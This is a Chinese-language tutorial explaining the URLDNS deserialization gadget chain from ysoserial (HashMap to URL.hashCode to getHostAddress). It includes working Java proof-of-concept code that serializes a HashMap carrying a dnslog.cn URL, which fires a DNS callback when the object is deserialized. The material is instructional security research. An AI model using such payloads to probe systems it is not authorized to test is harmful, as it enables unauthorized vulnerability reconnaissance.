URLDNS
关于URLDNS
我们在之前已经学习过Java的反序列化了,接下来我们继续通过反序列化延伸到URLDNS,这也是为我们之后分析利用链做准备。
URLDNS就是ysoserial中⼀个利用链gadget chains的名字,是JAVA复杂的反序列化链中最简单的一条,使⽤Java内置的类构造,不需要依赖第三方的包,不限制jdk的版本,在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。
URLDNS原理
一般我们寻找Gadget时都会分析是否满足以下的条件来判断
- 共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
- 入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
- 调用链gadget chain:相同方法名、相同类型
- 执行类sink:RCE SSRF 写文件等等
根据以上条件,我们可以找到JAVA中的HashMap
,java.util.HashMap
实现了Serializable
接口,重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode。而 java.net.URL
的 hashCode
在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求。
我们从 ysoserial 项目src/main/java/ysoserial/payloads/URLDNS.java
的注释中可以看到 URLDNS的调用链(Gadget Chain):
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
首先我们来看一下HashMap自己实现的readObject函数
HashMap的putVal方法:
插入一个新的键值对,如果该键存在,则用新值覆盖旧值,方法返回值为旧值,如果该键不存在,方法返回值为null。
经过我们的分析可以知道,mapping的值为传入对象的个数,在最后的for循环中是用readObject反序列化读取对象,然后调用putVal函数和hash函数,也就是我们刚才提到利用链中的其中两个方法,我们先看这个hashcode方法
这里代码我简单分析了一下,通过三元运算判断key如果不等于null就取到key的hashCode并与该值右移16位的值进行异或。
我们这里只需要知道其有调用了hashCode
方法,至于调用哪个hashCode需要知道key是谁的对象,我们查看src/main/java/ysoserial/payloads/URLDNS
中的代码可知,
HashMap对象ht调用了put,方法
而put方法,最终还是调用的putVal方法
由图中代码可知,这个key是一个URL对象,所以我们需要跟进URL下的hashCode方法
hashCode方法
到hashCode方法之后,我们首先自己测试一下hashCode方法
import java.net.URL;
public class urlDnsDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://wqvnuf.dnslog.cn");
url.hashCode();
}
}
由此可知hashCode触发了一次DNS请求,我们进入URL的hashCode方法查看具体实现
其中两个变量的声明如下
我们可以看到handler被transient修饰了,我们之前在反序列化里讲过,被transient的对象不会参与反序列化。然后我们可以看到hashCode的默认值是-1,这种情况就不会执行if判断中的代码,而是接着下面的代码执行,这里进行了又执行了handler
的hashCode
方法,我们根据handler变量的声明可以知道,该值得类型是URLStreamHandler
,我们就进入该类的hashCode
方法进行分析
在这个方法里我们主要需要注意的是getHostAddress
方法,这个方法用来得到主机的IP地址,我们跟进去进行分析
进入之后,我们就发现这里使用getHost()获取了主机名,然后使用getByName获取主机地址,就在这里发起了一次请求。
到这里我们完整的链已经出来了
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
这里在hashMap使用put方法时也会发起一次请求,是因为put方法里面也是执行的putVal,里面也用到了hash这个函数,这个之前我们也看到过了
反序列化逻辑梳理
在我们简单粗暴的一通分析之后,我们就要梳理一下具体的利用逻辑。
首先,经过分析我们知道在hashMap
对象被反序列化的使用,会调用HashMap.readObject()
进行反序列化操作,而这个方法被hashMap
重写了,导致hashMap
对象里包含URL对象的时候,就会触发URL的hashCode
方法,最终导致发起DNS请求。
基本逻辑时清楚了,如果我们向存在漏洞程序发送一个带有包含URL对象的HashMap
对象的时候,如果对我们的数据进行了反序列化的操作,就会触发DNS请求,就说明存在反序列化漏洞。
ysoserial其他代码分析
在我们分析ysoserial
里的URLDNS
的代码时,发现其使用反射设置了URL
对象中的值,将URL对象中的hashCode
设置为了-1
。(这里面的Reflections类是 ysoserial 写的一个反射类src/main/java/ysoserial/payloads/util/Reflections.java
)
这是因为,在ht.put
的阶段,u.hashCode已经发生了改变不再是-1
了,这会导致下一次执行的时候利用链在做hashCode是否为-1的判断时,就直接返回hashCode的值,利用链就中断了,所以我们为了下次可以正常发送DNS请求,就需要将其值恢复为-1
ht.put
这段代码中,会发送一次DNS请求,但这是payload生成阶段,是没有必要的,还可能造成误判,所以ysoserial
重写了getHostAddress
的代码,这样payload生成阶段就不会再发送dns请求了
POC测试
基本逻辑理清楚之后,我们就编写Demo进行测试
我们首先测试payload生成阶段的代码,使其不会触发DNS请求
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class urlDnsDemo {
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
//使用我们继承的类创建对象,让其调用我们重写的方法
URLStreamHandler handler = new urlDnsDemo.SilentURLStreamHandler();
URL url = new URL(null, "http://cbccqi.dnslog.cn", handler);
//将url对象放入HashMap对象
HashMap h = new HashMap();
h.put(url,"1");
//经理过h.put后这里hashCode已经不是-1了,我们使用反射将其改回-1
Field f = url.getClass().getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,-1);
// 序列化HashMap对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/urlDnsTest/out.bin"));
oos.writeObject(h);
}
}
我们可以看到,程序执行完毕之后并没有触发DNS请求
接下来,我们手动将反序列化的内容进行序列化,看能否触发DNS请求
public class urlDnsDemo {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("src/com/alexsel/urlDnsTest/out.bin"));
ois.readObject();
}
}
成功触发DNS请求